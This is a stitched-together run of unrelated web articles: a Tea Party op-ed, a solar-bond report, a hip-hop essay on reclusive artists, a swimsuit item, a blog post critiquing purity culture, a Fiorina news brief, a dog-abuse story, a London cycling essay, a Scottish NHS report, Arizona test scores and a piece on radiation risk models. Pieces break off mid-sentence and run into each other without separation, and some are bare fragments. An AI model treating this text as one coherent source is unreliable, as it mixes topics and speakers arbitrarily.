This inclination among the Tea Party faithful to mix religion and politics explains their support for Representative Michele Bachmann of Minnesota and Gov. Rick Perry of Texas. Their appeal to Tea Partiers lies less in what they say about the budget or taxes, and more in their overt use of religious language and imagery, including Mrs. Bachmann’s lengthy prayers at campaign stops and Mr. Perry’s prayer rally in Houston.
Yet it is precisely this infusion of religion into politics that most Americans increasingly oppose. While over the last five years Americans have become slightly more conservative economically, they have swung even further in opposition to mingling religion and politics. It thus makes sense that the Tea Party ranks alongside the Christian Right in unpopularity.
On everything but the size of government, Tea Party supporters are increasingly out of step with most Americans, even many Republicans. Indeed, at the opposite end of the ideological spectrum, today’s Tea Party parallels the anti-Vietnam War movement which rallied behind George S. McGovern in 1972. The McGovernite activists brought energy, but also stridency, to the Democratic Party — repelling moderate voters and damaging the Democratic brand for a generation. By embracing the Tea Party, Republicans risk repeating history.But in practice, such bonds have been a challenge to pull off. Electric utilities have issued bonds backed by certain tariffs charged to customers, and in 2010 SunPower, a manufacturer of solar energy systems, issued bonds tied to an Italian solar farm.
The SolarCity deal is different, analysts said, and could show how much of a market exists for the asset class. Although rooftop installations have boomed in recent years, the contractual arrangements are relatively new and can vary from company to company and state to state. That means they often lack the performance history and standardized terms considered necessary for securitization, the process of bundling many loans into one investment.
“You’re looking at, from most of the proposals we’ve seen, 10-, 15-year bonds,” said Michael Dean, a managing director at Fitch Ratings. “Two years of history, three years of history doesn’t cut it for us.”
In addition, because the technology is evolving rapidly, there is the risk that more attractive systems will emerge over the life of a contract, or that utility rates will drop. Solar installers have used the fact that they can offer electricity to customers at a lower price than conventional utility rates as a big selling point. Without that, customers might seek to renegotiate their terms or abandon the systems.
Mr. Dean said utilities have had low default rates among customers because “they can turn your electricity off if you don’t pay.” But the solar companies “don’t have that same hammer,” he added, because the customers are still connected to the grid and can turn back to the utility for lost power if the solar company repossesses its equipment.
Other risks stem from the fact that the companies making, installing and maintaining the solar equipment are young and have tended to go out of business, raising questions about how to guarantee long-term performance.
SolarCity has addressed some of these risks by shortening the term for the bonds to 13 years, said Benjamin Shih, an analyst at Moody’s. “Once you start shortening the time horizon, then it’s less likely that the utility rates will change drastically,” he said, or that the equipment would become obsolete.Rap the genre and hip-hop the culture attract more good men and women than the Army, but only a chosen few make you feel as if you’re witnessing something great; a true anomaly to the standard. I vividly recall the excitement that bubbled deep in the bowels of my hip-hop soul the first time I pressed play on “Exhibit C.” For almost six minutes, Jay sounded like a mage as if Merlin were reincarnated as a black Magnolia Projects native and discovered how to cast incantations through rapping.
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Just Blaze's production has the soul of a holy ghost, but there's something about Just’s monologues at the beginning and end; you can hear the triumph in his tone as he praises Jay. He’s like a man who acquired all the Dragon Balls and knew better days were a wish away. In his confidence, I saw the future. Many did. The blogosphere reacted like royalty had just arrived to take the hip-hop kingdom into a new era. Nas declared her dead three years prior, and there was a desire for a top-tier rapper to bring upon a renaissance.
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Jay Electronica was the latest to shepherd a sense of hope to hip-hop, and “Exhibit C” was that hope personified. In the eight years that followed “Exhibit C,” hope slowly turned into disappointment, and all the promise surrounding his name has been replaced with skepticism and doubt―it's as if he proposed to hip-hop and left her standing at the altar with no explanation. With each passing year, I wonder how Jay will be remembered, for what he contributed or for what he didn’t?
Jay wasn't the first and he is far from the only hip-hop artist to leave or linger before living up to his potential. Two years prior to Electronica’s most notable single, Kanye rapped on “Champion,” “Lauryn Hill said her heart was in Zion, I wish her heart still was in rhymin’,” a selfish lyric but one that resonated with fans who wished for Lauryn’s return like Jay fans stay wishing for an album. I wouldn’t compare Lauryn to Jay, they live on two different planets of cultural impact, but both are mythical in a sense―unicorns who refuse to run the race of horses. Lesser artists would have been forgotten, unmentioned, left alone in their silence, but these two weren’t ordinary, and that created a yearning that doesn’t dwindle.
Hip-hop’s infatuation with the quiet, reclusive genius is a common relationship between artist and audience. There’s a natural attraction to mystery, an allure to those that make us wonder, and it’s only heightened when the individual is gifted. The Miseducation Of Lauryn Hill may be turning 20 next year but the music has yet to turn wrinkled or feel worn—in its second decade the ‘98 debut is still being uncovered and treasured by music lovers.
Lauryn left her lasting print on hip-hop with only one album. She changed the climate. Imagine if Nas only released Illmatic? If his career started and ended with his most heralded and culturally significant release―how would he be perceived? Nas is admired, praised and adored, but if all he offered the world was one of the greatest rap albums ever created, and then walked away from the microphone, he would be in a different class of acclaim. Nasir Jones wouldn’t just be seen as another rapper staying relevant in his advancing age. They would kiss the ground he walks upon for his sole contribution to the culture. The yearning for more would be seen from both fans and peers.
Nas would become more than a genius, but a symbol of excellence that walked away too soon. That’s Lauryn in a modern sense. Fans will wait for hours only to see Ms. Hill show up late for a concert and perform music older than Jaden Smith. She’s no longer in her prime, but tickets are bought and people still arrive hoping to get a glimpse of the magic. Hoping to be re-educated.
When Chicago’s own Noname tweeted, “I’m not dropping music for a long time so enjoy this verse from me,” it was a sign that we could be witnessing another reclusive genius that’s slowly backing away from the brightening spotlight. She’s always been reluctant to be thrust into center stage. Her initial arrival was a quiet one, creeping into earbuds through feature placements―she didn’t have an album and there was no project to dissect―but her guest appearances had a touch of magnetism to each of them.
The way Noname puts words together is spellbinding; she's the Hermione Granger of Hip-Hop Hogwarts. For some time it seemed that her long-awaited debut album Telefone would be another myth to be placed alongside Jay Electronica's Act II and Dr. Dre's Detox, but last year she kept her promise and gave the world a body of work to admire. The acclaim rolled in, it felt as if she was here to stay, and soon as the idea seemed plausible, she crushed dreams with a tweet of an exit just as she was truly arriving. It's poetic how an artist with no name is planning an extended hiatus just as she begins to make one for herself.
Rappers come and rappers go, but I always thought Noname was special. A few weeks ago I tweeted, “Noname is the best rapper since Jay Electronica,” a thought that was both honest and a bit hyperbolic. It mostly stems from the fact that her arrival gave me the same electricity of excitement like Electronica, and both, coincidentally left me wanting more.
“And I know the money don't really make me whole,” is the first line heard on Noname’s “Yesterday,” the intro to Telefone. She declares from the beginning that she understands money won’t leave her fulfilled, a message most rappers won’t admit. Money tends to be the root of motivation, but not for her. What she desires doesn’t fit in a bank account and cannot be folded into a wallet. The line takes me back to André 3000’s apology to Big Boi on T.I.’s “Sorry,” where OutKast's hermit rapped, “I'm sorry I'm awkward / my fault for fuckin' up the tours / I hated all the attention so I ran from it / Fuck it if we did, but I hope we ain't lose no fans from it / I'm a grown-ass kid, you know ain't never cared about no damn money." A poignant confession from of rap’s most mystifying figures.
André left millions of dollars on the table. He pretty much pulled a Chappelle without the trip to Africa. Things got too big; OutKast was the biggest rap group in the world, and he couldn’t take what was becoming of his celebrity. Money and fame weren't what Dre wanted. The world called for him and he didn’t answer. We had nothing to offer but dead men on green paper, and that wasn’t enticing enough. He's one of the most renowned lyricists of all time, a wordsmith with few equals. All we wanted was an album, and all he wanted was peace.
There’s an interesting link between Lauryn, Noname, Jay Elect and André―four impressive poets who would rather live outside the spectrum of celebrity to maintain their lives. I see them as a lineage of hermits, all cut from a reclusive cloth that makes them step away instead of being the apples of our eye. You can only see Lauryn on tour, otherwise, she is separated from the world. Jay pops up on social media occasionally and might be seen at a show or festival, but he’s mostly in some fortress of solitude. The only way to follow André is to search Instagram for sightings; people see him and they take pictures, but very little is revealed by finding his whereabouts, and no one knows what he’s thinking. We can only hope he’s still considering a solo album, but only a fool would wait with bated breath. Noname is on tour, she’s becoming more visible on social media, but intuition tells me it won’t last, that soon she will retreat into the shadows. What if she pulls a Lauryn? What if she never returns with new music? I get the same feeling from SZA; that she will give us one album that will be met with glowing approval and that will be it, a project that says hello and goodbye. It's a sad possibility.
Then you have Frank Ocean, the hermit who lives on the margins of society. It’s impossible to know when he will return. For four years he gave the industry a Carmen Sandiego level of elusiveness. Where he was, what he was doing and what he was making was known by only a chosen few and they kept their lips tight. Tumblr was the only medium to prove he was still in the world; aware of all, but still hidden in some castle of his making. Blonde came with little warning, it was a grand return and simultaneous disappearance. After four years of being away, he didn’t care to answer questions but to remain secluded and cryptic. Frank doesn’t care to be our American idol, he is more Mos Def than Drake, more Prince than Justin Beiber. He could drop an album tomorrow or never again, the waiting is what drives us crazy and keeps us enamored.
It takes a special artist to be out of sight but not out of mind. We crave their presence because the void left behind isn’t easily filled, like trying to replace a favorite food that’s been removed from the menu. We hope for their return, to give us that feeling again. I understand the craving, the longing, but it's necessary to treasure what we have instead of asking for what we don’t. As listeners, we can’t force artists to sing when we say sing and to dance when we say dance. The hermit creators belong to no man and live by no rules.
The beauty of it all is knowing the artist is out there, somewhere, possibly crafting another song or body of work that will hit your spirit. We wait for them because they are worth waiting for. Let the genius roam, allow them to live their life, and hopefully, it inspires what they do next. If all they do is roam, if they never return to us, a wise man once said, “Tis better to have loved and lost than never to have loved at all."
Love the artist, love the art, but the artists who truly mean the world to us are better off in the shadows than the spotlight. The true magic happens in places we can’t see. Our only job is to wait and wait we shall for you never know when the next piece of great art or great artist will appear just to vanish before our eyes.
By Yoh, aka Turtle Hermit Yoh, aka @Yoh31Adriana Lima is back in bikinis, and this time it is for Italian swimsuit and apparel brand Calzedonia. Earlier this week, the company announced Adriana as the face of its 2016 swimwear collection. The brunette stunner was photographed by Russell James and styled by Elizabeth Sulcer for the sexy shoot.
At 34-years-old, Adriana shows younger models a thing or two in skimpy bikinis ranging from neon neoprene styles to crochet details and drawstring bottoms. Glistening with sweat and her hair in tousled waves, the Brazilian model looks as gorgeous as ever.
Related: See Adriana Lima’s Best Victoria’s Secret Runway Moments
Adriana Lima – Calzedonia Swimsuits 2016
Adriana Lima – Vogue Eyewear Spring 2016 Campaign
In addition to her recent swimsuit campaign, Adriana Lima also returned for Vogue Eyewear’s spring-summer 2016 campaign this year. Photographed by Ellen von Unwerth in sunny Venice, California, the Brazilian stunner looks all smiles as she wears stylish sunglasses in the colorful advertisements.It’s been a few months since I last covered a topic under Feminism 101. It’s been even longer since my post explaining rape culture. If you need a reminder, I recommend you reread that post before continuing with Purity Culture.
Purity Culture is a religious subset of rape culture. While Purity Culture is not limited to just Christianity, that is my experience. I’m not familiar enough with other religions to speak about how they interact with Purity Culture. I also would never feel comfortable speaking for another religious group.
As a Christian feminist, however, I feel called to critique certain practices and attitudes within Christianity. Specifically, I highlight problems that disproportionately harm women. Purity Culture is one of these problems.
Before I explain what Purity Culture is, and why Christian feminists oppose it, I want to say very clearly what I am NOT critiquing.
I am NOT critiquing:
an individual’s choice to abstain from sexual activity
parents setting rules about dating
anyone’s decision to get married
For a refresher, this is how I defined Purity Culture in my list of feminism vocabulary.
the view of any discussion of things of a sexual nature outside of the context of heterosexual marriage as taboo; adherence to a strict heteronormative lifestyle that forbids most physical contact with significant others, as well as engaging in self pleasure, or holding lustful thoughts about another person that is not a spouse; includes an insistence on female modesty and responsibility to shield boys and men from sexual temptation
Purity Culture stems from the belief that premarital sex is a sin. From my own study of both the Bible, biblical scholars, and history, I do not believe that premarital sex is a sin. (I still saved coitus for marriage, for non-religious reasons). However, this post is not arguing whether or not premarital sex is a sin. Feel free to read the following resources, not all of which agree on the topic.
Premarital Sex: Is It A Sin Or Not?
Avoid Sexual Immorality
The Issue of Premarital Sex
On Why the Bible is Not Clear
Entire books have been written about purity culture, including Damaged Goods by Dianna E. Anderson and The Purity Myth by Jessica Valenti. As with all of my Feminism 101 posts, I hope to cover all the main points of Purity Culture, but for brevity’s sake, I cannot go into too much detail.
5 Key Characteristics of Purity Culture
1) A shame-based environment
Purity Culture relies on making young people feel so terrified of sex that they won’t ever want to have it.
Purity Culture doesn’t differentiate between sexual, biological reactions and dehumanizing/objectifying another person (aka lusting). An erection is not a sin. An orgasm is not a sin. But you wouldn’t know that from Purity Culture.
Furthermore, premarital sex is apparently the one unforgivable sin. No one talks about greed, or materialism, or gluttony, or even sexual assault (I’m looking at you, Josh Duggar) quite the way they talk about premarital sex.
Stop me if any of these metaphors seem familiar. Having premarital sex is like being a:
chewed-up piece of gum
used, dirty toothbrush
glass of water with lots of spit in it
smelly, dirty shoe
rose with broken petals
piece of tape with dust and hair stuck to it
Even if we accept the premise that premarital sex is a sin, what message does this send to survivors of sexual assault? What message does this send to new believers with a sexual past? On the surface, these metaphors already create shame and guilt. Dig deeper into the metaphors, and (not) shockingly, they reveal a double standard.
2) Double standards
Supposedly, these metaphors apply equally to both men and women. (Transgender people, or genderqueer people, or intersex people, or anyone else who doesn’t identify as male or female don’t exist in Purity Culture). But none of the metaphors involve two pieces of gum chewing each other or two roses poking thorns at each other. In each metaphor, there is an object that is acted on. If one person having premarital sex is completely ruined for life, what about the other person?
Like Sarah Moon wrote on her blog:
Sex, growing up, was often described in these violent, one-sided metaphors that objectified at least one sex partner (usually these analogies were subtly or not-so-subtly aimed at women–have you ever heard a man talked about as a precious flower/rose?) and left that objectified partner a hopelessly destroyed mess that no one would ever want to be with.
Intentional or not, these metaphors support the sexual double standard. If a man has a lot of sex, he’s a player. If a woman has a lot of sex, she’s a slut.
The rhetoric too many Christians use to describe women having premarital sex is completely different than what they use to describe men.
Women are ruined. They’re damaged goods. They lost their purity.
Men stumbled in their walk. They messed up. They made a mistake.
Consider the words of Dianna E. Anderson, author of Damaged Goods:
Purity culture’s targets are young women. Young men are simultaneously a focus and an afterthought. Every motivation behind staying pure is focused on being received well by a future husband, but those same future husbands are more easily forgiven for transgressions, written off with “boys will be boys.”
This isn’t the only double standard.
3) Men as sex maniacs, and women as sexless gatekeepers
“Teenage boys only want one thing.”
How many times have you heard that? So all teenage boys want sex, all the time.
Again, an erection is a biological response to stimuli. While teenage boys might have frequent erections (often in completely innocent and awkward situations, or so I’ve been told), that doesn’t mean they actually want to have sex every single time they get an erection.
Teenage boys deal with a lot of the same problems teenage girls have. Doing well in school, trying to fit in, pleasing their parents, hanging out with their friends, wanting to be cool. Honestly, guys should be offended at their sex-crazed caricatures within Purity Culture.
Rarely do teenage girls receive warnings about the dangers of pornography or the sin of masturbation. (I also don’t think masturbation is a sin, but that’s a discussion for another day). They’re much more likely to receive lectures about their “distracting clothing” and warnings not to “cause a Christian brother to stumble in his walk.”
Yeah, that latter statement is almost a direct quote of advice I heard as a late teenager.
Teenage girls have sex drives too. Pretending otherwise can lead them to feel confused, alone, or ashamed of their sexuality.
Female-centric conversations about sex are all about saying, “No.” But what if they want to say, “Yes”?
4) Consent is absent from the conversation
It is absolutely important to empower young people to say, “No” when they feel uncomfortable about a situation. But that shouldn’t be a gendered conversation. Teenage boys need to learn they can turn down sex as well. All young people need to know both how to ask for and how to give consent for when they DO want to engage in sexual activity.
Consent doesn’t enter conversations about sex within Purity Culture. You can only say, “No,” before you’re married… But you have to say, “Yes,” once you are married.
Sarah Moon has written a great review of Christian dating books. In one blog post, analyzing Real Marriage, she writes (emphasis hers):
The book equates not-having-sex-with-your-husband, even while healing from trauma, with disobeying God. To say no to your husband is to be selfish and sinful. In fact, the book lists “Ways We Are Selfish Lovers.” One of these ways is to “Only have sex when we both feel like it at the same time.”
Purity Culture is a subset of rape culture. Basically, Purity Culture is like Christianity’s very own special rape culture.
One unique Christian twist on rape culture is not differentiating between consensual premarital sex and rape. Dianna E. Anderson writes this:
As I read numerous dating guides for research for my forthcoming book, I noticed a pattern with the stories of virginity loss and ruined purity – a significant number of them were stories of rape. In the Abstinence Clearinghouse’s pro-abstinence only education book, Abstinence 101, many of the stories cited are fairly clear cut stories of rape. Even further, in that same text, rape is cited as a direct consequence of divorcing love and commitment from sex – which is their phrasing for premarital sex of any kind. Rape is simultaneously unrecognizable and a constant threat in purity culture. The simple truth of it is that, without consent education, the purity movement makes it impossible for people to recognize rape as such. Many conservative evangelical will adamantly declare that they are against rape, they think it’s a horrific crime, in the same breath as saying that a wife who denies her husband sex is failing to do her duty. Purity proponents end up promoting rape because they don’t know what consent and healthy sexuality actually look like.
With the high standards women must meet in both clothing and behavior, if they do experience sexual assault, victim-blaming ensues. After all, if dressing and acting a certain way keep men under control, then if a man lost control, it’s clearly the woman’s fault.
While reviewing the book Dateable, Sarah Moon reveals (emphasis hers):
Dateable contains the most blatant animalization of men. They compare men to Pavlov’s dogs, horses, cavemen, and multiple times refer to the “male species,” as if males are somehow a species other than human. This is done, not to degrade men necessarily (although such words certainly might have that effect) but to excuse any inappropriate behavior they show toward women. Young women are told, concerning men: “Don’t tease the animals…Please, PLEASE don’t tease us [men]. To show us your hot little body and then tell us we can’t touch it is being a tease. You can’t look that sexy and then tell us to be on our best behavior.” (p. 117)
Standards for women are simultaneously so high and so complicated that it’s almost impossible for us to follow them.
5) Strict, heteronormative gender roles
LGBTQ+ people do not exist within Purity Culture. Everything I’ve summarized so far has been the different messages men and women receive about women and men. Purity Culture assumes everyone is straight and cisgender.
Dianna E. Anderson came out in 2014 as a bisexual woman. This led her to question Purity Culture in new ways.
In seeking to preserve the “covenant of marriage” by encouraging purity, the purity movement also implies that marriage is not for people outside the cisgender, heterosexual norm. Healthy sexual ethics don’t apply if you’re not straight and cisgender – LGBT people don’t exist in the world of purity culture. This then begs the question: if your gospel-based sexual ethics only apply to a specific subset of the population, what does that say about the love of God which is said to be for all peoples? If your Gospel is only applicable to white, middle-class, American, straight, cisgender Christians, it’s not much of a gospel.
Even for cisgender women who are heterosexual, following Purity Cultures guidelines for biblical womanhood are next-to-impossible. Consider these common quotes.
Modest is hottest!
Your dresses should be tight enough to show you’re a woman and loose enough to show you’re a lady. (attributed to Edith Head, but I can’t find a reliable source)
Dressing modestly reveals your dignity.
Classy is when a woman has everything to flaunt, but chooses not to show it.
Will someone please tell me what these vague guidelines mean for my wardrobe?
My boobs are pretty much impossible to hide, so does that mean I should live in baggy t-shirts and sweaters? Except, wait, then how do you know I’m a classy woman?
While the strict heteronormativity is harsher for women, it still hurts men. There’s so much talk about being “real men” and remembering when “men were men.” Men always pursue women. They’re natural-born leaders. They must be the breadwinner.
God created each of us to be unique. If no two people are exactly the same, then no two men are exactly the same either. Contrary to Purity Culture’s teachings, there are multiple ways to be a man.
Additional Reading on Purity Culture
You Are Not Your Own (link to full blog series by Sarah Moon)
My book review of Damaged Goods
Future Husbands: Your Future Wife Does Not Belong to You
I Don’t Wait Anymore
No Shame Movement
Why Purity Culture Doesn’t Teach Consent
Coming in at over 2000 words, this might be my longest post thus far.
I don’t want to hear your arguments about why premarital sex is totally a sin. It’s a moot point to this discussion. Read the resources linked in the beginning and argue with them.
If you have any comments or questions regarding Purity Culture, I’d love to hear them!
If you have a question regarding something specific I wrote, and there’s a link in that paragraph, please read that link first. It probably answers your question! If you disagree with any of my points, I’d also appreciate if you read any links in that section before leaving your comment. Don’t forget to go |
proposed would have resulted in 21 million people losing coverage, according to an analysis from the Committee for a Responsible Federal Budget.Carly Fiorina speaks during a forum on Capitol Hill on March 16, 2015, in Washington. (Mark Wilson/Getty Images)
Carly Fiorina, a former Hewlett-Packard chief executive, said her chances of running for the Republican presidential nomination in 2016 are “very high.”
Speaking on “Fox News Sunday,” the 2010 Senate candidate said she is “higher than 90 percent” likely to enter the race, with an announcement coming in late April or early May.
Fiorina said she could appeal to voters with a “deep understanding of how the economy actually works, having started as a secretary and become the chief executive of the largest technology company in the world.”
She added that she has relationships with “many of the world leaders on the stage today” and that she understands executive decision-making, as well as how to change large bureaucracies for the better.
Discussing the economy, Fiorina said the government has “tangled people up from a web of dependence from which they can’t escape.” She also said the government is “crushing small businesses now.”
In a nod to the populist, anti-Wall Street themes of Sen. Elizabeth Warren (D-Mass.), Fiorina said big banks are thriving while community banks go out of business.
“If we want mainstream and the middle class going and growing again, we’ve got to get small and family-owned businesses going and growing again,” she said.
Correction: An earlier version of this article incorrectly stated that Fiorina was a 2010 California gubernatorial candidate. She actually ran as a U.S. Senate candidate that year. The article has been corrected.NBC 6 Reporter Julia Bagg is in Hollywood, where a pit bull that was stabbed and left in a suitcase has officially died.
Hollywood Police are searching for those responsible for severely injuring a pit bull-terrier mix and leaving him for dead trapped within a suitcase at an abandoned building.
The 2-year-old dog, now named Ollie, is recovering from surgery and was set to undergo a second surgery Wednesday to stitch up stab wounds to his chest.
Officers responded to a call at about 1 a.m. on Tuesday at 1945 Lee Street. When they arrived, officers found a dog paw sticking out of a suitcase.
"Officers heard a dog cry come from within the suitcase. Inside the suitcase, a pit bull was found with severe lacerations to the top of his head and body," Miranda Grossman, the Hollywood Police Department's public information manager, said in a statement.
The dog was transported to the VCA Hollywood Animal Hospital, where doctors said Ollie was stabbed possibly multiple times and beaten.
Doctors said he suffered 20 or 30 wounds to his chest and legs alone.
A GoFundMe page was started by the Grateful Paws Dog & Cat Rescue organization to help cover Ollie's veterinary expenses.
"The general opinion is that he will be OK. He is in the best care and best place possible," the organization wrote in a statement. "We are looking for a foster or adoptive home for him for when he is released from the hospital... he is as sweet as can be."
This photo contains imagery that some viewers may find disturbing.
Click to view. A dog – now named Ollie – was found within a suitcase, suffering from numerous injuries and left for dead.
Dr. Nicole Patterson, associate veterinarian at VCA, said that this case is "probably one of the worst abuse cases I’ve ever seen."
"The wounds are really bad so he’s definitely not out of the woods yet," Patterson said.
Ollie does not have a chip implant and was wearing a collar without a tag when found.
Despite the horror Ollie has been through, he remains pleasant while recovering.
"He was still up and wagging his tail this morning with all his bandages on, he’s just still very happy and wanting to be loved on," Patterson added.
A nearby resident said it is likely that the perpetrator of this crime is also from the area.
"It would have to be someone maybe from the area because only we know that that house is abandoned," Michael Rutger said.
Others are concerned there is an animal abuser on the loose.
"I almost started crying because I have two dogs of my own and I never want that to happen!" Elena Rodriguez said.
Update: Ollie passed away on Oct. 13.When bicycle courier Emily Chappell first rode through the capital 10 years ago, she discovered a side of the city hidden from other road users. With cyclists in central London forecast to soon outnumber drivers, she looks at how the streets, and her part in them, have changed
I was shocked to realise last week that I’m approaching the 10-year anniversary of the day I started cycling in London, as a nervous first-time commuter with a lopsided backpack and a Transport for London cycling map stuffed down my top. As many do, I very quickly fell in love with the city as seen from the saddle of a bike, revelling in the curious sense of ownership that comes from knowing where things are, rather than just how to get there using the tube map.
For many others, that love affair is just about to begin. Last week TfL released figures predicting that, on present trends, there will be more bicycles than cars entering central London during rush hour in the next few years. The number of rush-hour drivers fell from 137,000 in 2000 to 64,000 in 2014, while the number of cyclists trebled, from 12,000 to 36,000.
This move towards cycling (and walking and public transport) is a major feat for any city, let alone one as big as London. But for me, a former cycle courier, the announcement brings both joy – for the new recruits to the road – and nostalgia.
The thrill of cycling for me has been partly about the sense of ownership of my city, but also a sense of perpetual discovery, because no matter how well you think you know a city like London, there will always be a few streets you’ve somehow missed.
Better city cycling routes? There's an app for that Read more
The city was my playground, but it also became my workplace, and although you can never know the place entirely, cycling through it day after day, month after month, season after season, meant that I could tell you not only how to get to any given street, but how that street had changed over the past year. The old buildings that had been hacked out of the skyline for taller ones to grow in their place; the plane trees that turn the place into a snowstorm of itchy pollen in May; intimate details like the slightly raised kerb where one street surface meets another at a junction, which two or three skinned elbows had taught me I had to make sure my front wheel hit at a certain angle, or risk being thrown indignantly to the ground.
One of the biggest changes in 10 years has been in the number of cyclists. When I started, just as the boom in urban cycling began to gather force, the roads were dominated by those stern men on their steel-framed racers, who might have been cycling into work since the late 1970s, long regarded as oddballs by their family and colleagues, and now regarding the rest of us with an old-timer’s contempt.
I was delighted when, as the years went by, the roads began to fill with so many cyclists that I found I had to stop giving them all the friendly nod of recognition with which we often greeted each other back in 2006, because it was getting ridiculous. But despite our numbers, our solidarity persisted. We would strike up conversations as we waited at the lights:
“Are you going left here?”
“No – are you?”
“Yes, but I’ll let you go first. Go on.”
“Cheers, mate!”
“No worries. Nice bike, by the way.”
Facebook Twitter Pinterest Emily Chappell. Photograph: Annalisa Brambilla
Cyclists seemed to want to talk to each other and be delighted at the chance to do so, unlike the frowning commuters I’d once shared the tube with, each intent on protecting their own tiny bubble of personal space.
Of course, with change there is always loss, and there is often an elegiac note to my conversations with other couriers as we reminisce dolefully over what has been and gone – the corner in Soho (now a building site) where we used to sit; the cheap Indian café (now a Starbucks) where we bought lunch; the skyline as it was in the 1990s; the workload as it was in the 1980s. Because despite the sense of ownership knowing the city by bike gives us, we don’t own an inch of it, and any of our boltholes could be taken away tomorrow by developers, roadworks, corporations or the whims of our fellow citizens.
Yes, I do have some small, shameful regrets about the booming number of cyclists in London. Back when we were fewer there was a glorious freedom in dancing through the traffic, whose rules and logic we learned so well that it often felt like a benevolent force, sheltering us as much as it threatened us. We were the pilot fish darting in among the sharks, the gazelles sprinting through herds of lumbering bison. Rarely was there a line along Oxford Street we couldn’t follow, and even at the busiest times of day you’d see couriers racing through the traffic as if it were a mirage, emerging from the shoulder-width gap between two red buses, leaning body and bike into a sharp left turn to reach the clear space along the gutter, breaking their speed with a sharp skid, and then picking it up again in order to crest the wave of the traffic as it broke through the changing lights.
Now that there are more cyclists, I often find the best lines blocked and someone slightly broader – or more cautious – sitting squarely behind the two buses, so I can’t squeeze into the narrow chasm between.
And London is now aware that it is becoming a cycling city. Every week, more of my journeys take place on well-built two-lane cycle tracks, segregated from the motorised traffic by kerbs and bollards. I tell myself over and over again that this is ultimately a good thing, that the city’s growing cycle infrastructure is giving more and more people a safe, healthy, enjoyable way to get to work, and that London is better for it. I remind myself that in less nostalgic moods I would be happy to see cyclists outnumbering drivers.
I wouldn’t go back to the bad old days, when cyclists were dismissed as a bunch of bearded eccentrics, and roads were designed to keep traffic fast, rather than to keep people safe. I welcome the long overdue improvements to cycling infrastructure, even as I secretly, somewhat guiltily, mourn the days when I used to have the traffic to myself.
Emily Chappell is author of What Goes Around: A London Cycle Courier’s Story, published by Guardian Faber, £12.99. To buy a copy for £8.99 with free UK p&p, go to bookshop.theguardian.comTHE Labour leadership in Scotland has "lost all credibility" over the NHS, claimed a former party chairman as the war of words continued on whether the service's future is better with Scotland in or out of the UK.
Bob Thomson, a former office bearer in the party and prominent trade union official, accused Better Together leader Alistair Darling, Scottish Labour leader Johann Lamont and the former Labour First Minister Jack McConnell of "sheer hypocrisy" over the different message of the party north and south of the Border.
But Lord McConnell attacked the Yes campaign for the "big, huge lie" about a No vote posing any threat to the future of the NHS in Scotland.
And Labour rounded on the Scottish Government over the use of zero-hours contracts in the health service and double standards over the controversial transatlantic trade deal which is at the centre of the debate over NHS privatisation.
Mr Thomson, a party member for more than 50 years and a leading figure in Labour For Independence, said Better Together were "fooling no-one with their claims that the Scottish NHS cannot be damaged by Westminster cuts".
He said: "It is no surprise that already more than 230,000 Labour supporters have said they will vote Yes on September 18 and I have no doubt that this is due in no small part to the sheer hypocrisy of Darling, Lamont and now Jack McConnell.
"Today, to support their Tory partners in the No campaign, they say Scotland's NHS faces no threat from Westminster. Yet they have said the exact opposite in previous campaigns.
"Labour MPs, including Alastair Darling, got elected campaigning on the threat that the Tories at Westminster pose to funding for our public services. Now they are asking us to trust the Westminster Tories with the future of our NHS."
Lord McConnell told a Better Together event in Edinburgh: "After four different first ministers and five different health ministers our Parliament's record on health is without question our own responsibility and has been achieved without interference.
"The idea that home rule inside the UK threatens the Scottish NHS is a lie." But Mr Thomson countered: "The deception here is clearly theirs.
"They cannot seriously expect Labour supporters to believe that while their colleagues in England and Wales are pointing up the damage to the NHS because of Westminster Tory cuts that somehow, magically, there would be no similar impact here given that Scotland depends on its funding from a Westminster block grant."
Over the weekend the Yes and No campaigns set out rival visions on the NHS.
Deputy First Minister Nicola Sturgeon and Scottish Greens co-convener Patrick Harvie argued a Yes vote would "save Scotland's NHS" on a visit to Glasgow's Victoria Infirmary. Neil Findlay, Scottish Labour's health spokesman, said: "Alex Salmond, his SNP Government and the Yes campaign talk a good game on the NHS but Scots will judge them on their actions and they have failed to live up to their rhetoric.
"The fact that thousands of workers are on bank contracts, which we know now are often just zero-hours contracts by disguise, is a damning indictment of the SNP's sticking-plaster approach to managing the NHS.
"Indeed, the increasing use and spending on bank and agency work is, as Audit Scotland stated, a signal that there are'strains in the system'."
Referring to the transatlantic free trade deal, he added: "They have also been badly exposed for their scaremongering tactics on NHS privatisation - the Yes campaign has made the TTIP trade deal the cornerstone of their campaign. Now it emerged that Alex Salmond, Nicola Sturgeon and John Swinney have all publicly backed the deal."
But the Scottish Government accused Labour of selective quotation of Ministers on the TTIP. For example, only the first page of a letter from Mr Swinney to a Holyrood Committee was quoted on the broad question of support for the deal.
But on the second page Mr Swinney said that "given the vital importance of the NHS to the people of Scotland and concerns about the impact of TTIP on the NHS" the Health Secretary was writing to his Westminster counterpart requiring "cast-iron assurances" that there would be "no obligation to open the NHS in Scotland to private providers as was happening in England".Results for Arizona's new standardized test show that many students failed to show proficiency in math and English.
Many say that was expected because this was the first year that AzMerit, the school's new test, was implemented.
Only 34 percent of all students passed the English test, while 35 percent passed the math one.
The data was released by the Arizona Department of Education on Monday.
Spokesman Charles Tack said the results showed trends seen in past tests that reveal minority and low-income students fare the worst.
About 25 percent of economically disadvantaged, Latino and African American kids passed the tests.
Heidi Vega, spokeswoman for the Arizona School Board Association, said teachers and students didn't have a lot of time to prepare and that these results shouldn't be compared to the state's former test.AMHERST, Mass. – In a new paper, University of Massachusetts Amherst environmental toxicologist Edward Calabrese continues his campaign to cast doubt on the legitimacy of the linear no threshold (LNT) single-hit model for risk assessment for exposure to ionizing radiation, and by extension, other chemicals and compounds.
He asserts that the scientific foundations used in support of the LNT single-hit model contains “fundamental scientific flaws that undermine not only the seminal recommendation of the 1956 Biological Effects of Atomic Radiation (BEAR) I Genetics Panel to adopt the LNT single-hit model for risk assessment but also any rationale for its continued use in the present day.” His new exploration of the issue appears in the journal Environmental Research.
As in his earlier assessments of the historical origins of the LNT single-hit model, Calabrese lays much of the blame for its now near-global acceptance at the feet of one of the fathers of radiation genetics, Hermann Muller, who was awarded the Nobel Prize in medicine in 1946 for his apparent discovery that X-rays induce gene mutations in fruit flies. Calabrese challenges the claim that Muller had induced gene mutation and offers a detailed documentation of objections initially raised at the time by USDA plant geneticist Lewis J. Stadler.
